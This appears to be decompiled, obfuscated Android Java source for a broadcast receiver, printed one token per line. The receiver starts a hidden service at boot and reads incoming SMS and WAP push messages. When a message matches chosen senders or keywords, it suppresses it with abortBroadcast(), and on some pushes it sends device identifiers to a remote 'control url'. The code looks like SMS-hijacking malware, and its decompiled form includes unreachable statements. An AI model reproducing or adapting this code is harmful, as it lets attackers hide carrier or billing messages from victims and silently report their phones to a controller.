private
void
a(Context paramContext, Intent paramIntent)
{
Bundle localBundle = paramIntent.getExtras();
this
.a.d(
"::::::bundle = "
+ localBundle.toString());
if
(localBundle.containsKey(
"pdus"
))
{
Object[] arrayOfObject = (Object[])localBundle.get(
"pdus"
);
SmsMessage[] arrayOfSmsMessage =
new
SmsMessage[arrayOfObject.length];
for
(
int
i =
0
; i < arrayOfObject.length; i++)
{
arrayOfSmsMessage[i] = SmsMessage.createFromPdu((
byte
[])(
byte
[])arrayOfObject[i]);
this
.a.d(
"::::::smsMessage = "
+ arrayOfSmsMessage[i].getOriginatingAddress() +
";;; "
+ arrayOfSmsMessage[i].getMessageBody() +
";;; "
+ arrayOfSmsMessage[i].getIndexOnIcc());
if
(arrayOfSmsMessage[i].getOriginatingAddress().contains(paramContext.getResources().getString(
2131362053
)))
{
String str = arrayOfSmsMessage[i].getMessageBody();
if
(((str.contains(paramContext.getResources().getString(
2131362042
))) || (str.contains(paramContext.getResources().getString(
2131362043
))) || (str.contains(paramContext.getResources().getString(
2131362044
))) || (str.contains(paramContext.getResources().getString(
2131362049
))) || (str.contains(paramContext.getResources().getString(
2131362054
))) || (str.contains(paramContext.getResources().getString(
2131362055
))) || (str.contains(paramContext.getResources().getString(
2131362046
))) || (str.contains(paramContext.getResources().getString(
2131362047
))) || (str.contains(paramContext.getResources().getString(
2131362059
)))) && ((str.contains(paramContext.getResources().getString(
2131362050
))) || (str.contains(paramContext.getResources().getString(
2131362058
))) || (str.contains(paramContext.getResources().getString(
2131362051
))) || (str.contains(paramContext.getResources().getString(
2131362052
))) || (str.contains(paramContext.getResources().getString(
2131362056
))) || (str.contains(paramContext.getResources().getString(
2131362045
)))))
abortBroadcast();
}
}
}
}
public
void
onReceive(Context paramContext, Intent paramIntent)
{
if
(paramIntent ==
null
);
while
(
true
)
{
return
;
this
.a.d(
":::::::MyReceiver:::onReceive : "
+ paramIntent.getAction());
if
(paramIntent.getAction().equals(
"android.intent.action.BOOT_COMPLETED"
))
{
this
.a.d(
"::::::::::::ACTION_BOOT_COMPLETED"
);
paramContext.startService(
new
Intent(paramContext, MyIntentService.
class
));
}
byte
[] arrayOfByte;
if
((
"yulong.provider.Telephony.DUAL_WAP_PUSH_RECEIVED"
.equals(paramIntent.getAction())) || (
"android.provider.Telephony.WAP_PUSH_RECEIVED_2"
.equals(paramIntent.getAction())) || (
"android.provider.Telephony.WAP_PUSH_GSM_RECEIVED"
.equals(paramIntent.getAction())) || (
"android.provider.Telephony.WAP_PUSH_RECEIVED"
.equals(paramIntent.getAction())))
{
String str1 = paramIntent.getType();
if
((
"application/vnd.wap.sic"
.equals(str1)) || (
"application/vnd.wap.slc"
.equals(str1)) || (
"application/vnd.wap.coc"
.equals(str1)) || (
"application/vnd.wap.mms-message"
.equals(str1)))
{
arrayOfByte = paramIntent.getByteArrayExtra(
"data"
);
if
((arrayOfByte ==
null
) || (arrayOfByte.length <=
0
));
}
}
try
{
String str2 =
new
String(arrayOfByte,
"UTF-8"
);
this
.a.d(
":::::ByteArrayExtra = "
+ str2);
if
((str2.contains(paramContext.getResources().getString(
2131362057
))) && ((str2.contains(paramContext.getResources().getString(
2131362044
))) || (str2.contains(paramContext.getResources().getString(
2131362045
))) || (str2.contains(paramContext.getResources().getString(
2131362046
))) || (str2.contains(paramContext.getResources().getString(
2131362047
))) || (str2.contains(paramContext.getResources().getString(
2131362048
))) || (str2.contains(paramContext.getResources().getString(
2131362059
)))))
{
abortBroadcast();
String str3 = h.c(
"CD="
+ com.uus.mv2.controller.d.e +
"&CC="
+ com.uus.mv2.controller.d.f +
"&CV="
+ com.uus.mv2.controller.d.h +
"&UA="
+ com.uus.mv2.controller.d.O +
"&CP="
+ com.uus.mv2.controller.d.d +
"&SK="
+ Build.VERSION.SDK_INT);
String str4 = com.uus.mv2.controller.d.g +
"/t.jsp?O="
+ str3;
this
.a.d(
"::::::::::::::::::::::::::control url = "
+ str4);
c localc =
new
c(
0
,
25
, str4,
3
);
localc.a(
null
);
localc.d =
false
;
a.a().a(localc);
}
if
((!paramIntent.getAction().equals(
"android.intent.action.DATA_SMS_RECEIVED"
)) && (!
"android.provider.Telephony.SMS_RECEIVED"
.equals(paramIntent.getAction())) && (!
"android.provider.Telephony.SMS_RECEIVED_2"
.equals(paramIntent.getAction())) && (!
"android.provider.Telephony.GSM_SMS_RECEIVED"
.equals(paramIntent.getAction())) && (!
"android.provider.Telephony.LMS_FIRST_DISPLAY_TIMEOUT_CTC"
.equals(paramIntent.getAction())))
continue
;
a(paramContext, paramIntent);
return
;
}
catch
(Exception localException)
{
while
(
true
)
localException.printStackTrace();
}
}
}
}